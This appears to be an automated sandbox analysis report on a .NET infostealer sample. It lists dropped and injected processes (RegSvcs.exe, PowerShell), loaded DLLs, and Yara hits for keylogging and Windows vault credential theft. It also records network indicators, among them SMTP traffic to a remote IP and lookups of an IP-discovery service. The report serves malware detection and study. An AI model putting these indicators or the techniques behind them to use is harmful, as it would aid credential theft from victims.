Source:	Binary string: HGCt.pdb source: oBMlky3Rkm7h5QK.exe, ECXXCuFHUVw.exe.0.dr
Source:	Binary string: RegSvcs.pdb, source: RegSvcs.exe, 00000009.00000002.2138116627.0000000005880000.00000004.00000020.00020000.00000000.sdmp, qZeUnR.exe, 0000000F.00000000.2223100492.0000000000692000.00000002.00000001.01000000.0000000D.sdmp, qZeUnR.exe.9.dr
Source:	Binary string: RegSvcs.pdbKL source: RegSvcs.exe, 0000000E.00000002.3313067108.00000000064D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RegSvcs.pdb source: RegSvcs.exe, 00000009.00000002.2138116627.0000000005880000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3313067108.00000000064D0000.00000004.00000020.00020000.00000000.sdmp, qZeUnR.exe, 0000000F.00000000.2223100492.0000000000692000.00000002.00000001.01000000.0000000D.sdmp, qZeUnR.exe.9.dr
Source:	Binary string: HGCt.pdbSHA256 source: oBMlky3Rkm7h5QK.exe, ECXXCuFHUVw.exe.0.dr

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 4x nop then jmp 0706CEBCh		0_2_0706D221
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 4x nop then jmp 077FC1A4h		10_2_077FC509

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.6:49705 -> 23.226.124.127:587

Source: Joe Sandbox View

IP Address: 104.26.12.205 104.26.12.205

Source: Joe Sandbox View

ASN Name: WEBAIR-INTERNETUS WEBAIR-INTERNETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.6:49705 -> 23.226.124.127:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: RegSvcs.exe, 00000009.00000002.2133378984.000000000259C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.0000000003348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.pacificindia.com
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104108311.0000000002E2E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2152988500.000000000340E000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp, oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.0000000004A32000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2131866829.0000000000402000.00000040.00000400.00020000.00000000.sdmp, ECXXCuFHUVw.exe, 0000000A.00000002.2155259832.00000000046ED000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: RegSvcs.exe, 00000009.00000002.2133378984.0000000002521000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3307025913.00000000032BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.6:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.6:49706 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, NDL2m67zO.cs	.Net Code: P8S36WO8sc
Source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, NDL2m67zO.cs	.Net Code: P8S36WO8sc

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.ECXXCuFHUVw.exe.4728ae8.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.ECXXCuFHUVw.exe.46edac8.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 10.2.ECXXCuFHUVw.exe.46edac8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.oBMlky3Rkm7h5QK.exe.410cad0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.oBMlky3Rkm7h5QK.exe.4147af0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_010ADC74	0_2_010ADC74
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_02DB7030	0_2_02DB7030
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_02DB0040	0_2_02DB0040
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_02DB0007	0_2_02DB0007
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_02DB702B	0_2_02DB702B
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07060040	0_2_07060040
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07060611	0_2_07060611
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07060620	0_2_07060620
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_070685D0	0_2_070685D0
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07067330	0_2_07067330
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_0706A248	0_2_0706A248
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_0706F287	0_2_0706F287
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07060031	0_2_07060031
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07065FA0	0_2_07065FA0
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07068EA8	0_2_07068EA8
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07066EF8	0_2_07066EF8
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Code function: 0_2_07066AC0	0_2_07066AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0249E664	9_2_0249E664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_02494AA8	9_2_02494AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_02493E90	9_2_02493E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_0249ACF8	9_2_0249ACF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_024941D8	9_2_024941D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD3520	9_2_05DD3520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD66B0	9_2_05DD66B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD5658	9_2_05DD5658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DDB2DF	9_2_05DDB2DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DDC238	9_2_05DDC238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD7E40	9_2_05DD7E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DDE458	9_2_05DDE458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD7760	9_2_05DD7760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD0040	9_2_05DD0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD5D9B	9_2_05DD5D9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 9_2_05DD0007	9_2_05DD0007
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_0157DC74	10_2_0157DC74
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F0040	10_2_077F0040
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F0620	10_2_077F0620
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F0611	10_2_077F0611
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077FE565	10_2_077FE565
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F85D0	10_2_077F85D0
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F7330	10_2_077F7330
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077FA248	10_2_077FA248
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F0007	10_2_077F0007
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F5FA0	10_2_077F5FA0
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F6EF8	10_2_077F6EF8
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F8EA8	10_2_077F8EA8
Source: C:\Users\user\AppData\Roaming\ECXXCuFHUVw.exe	Code function: 10_2_077F6AC0	10_2_077F6AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_016341D8	14_2_016341D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0163E959	14_2_0163E959
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01634AA8	14_2_01634AA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0163ACF8	14_2_0163ACF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_01633E90	14_2_01633E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06AEA894	14_2_06AEA894
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06AEA578	14_2_06AEA578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06AEBDF0	14_2_06AEBDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06AEDBF0	14_2_06AEDBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B066B0	14_2_06B066B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B05658	14_2_06B05658
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B07E40	14_2_06B07E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B03520	14_2_06B03520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B0B2DF	14_2_06B0B2DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B0C238	14_2_06B0C238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B07760	14_2_06B07760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B0E458	14_2_06B0E458
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B05D9B	14_2_06B05D9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B00040	14_2_06B00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06F226E0	14_2_06F226E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_06B00006	14_2_06B00006

Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2107866029.0000000007360000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename998c6b64-d31b-4897-94c4-e99cc95bcd98.exe4 vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104684722.000000000410C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000000.2057043617.00000000008C2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHGCt.exe< vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2104108311.0000000002E79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename998c6b64-d31b-4897-94c4-e99cc95bcd98.exe4 vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2108110232.0000000007B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePowerShell.EXE.MUIj% vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe, 00000000.00000002.2102397332.0000000000F6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs oBMlky3Rkm7h5QK.exe
Source: oBMlky3Rkm7h5QK.exe	Binary or memory string: OriginalFilenameHGCt.exe< vs oBMlky3Rkm7h5QK.exe

Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\oBMlky3Rkm7h5QK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
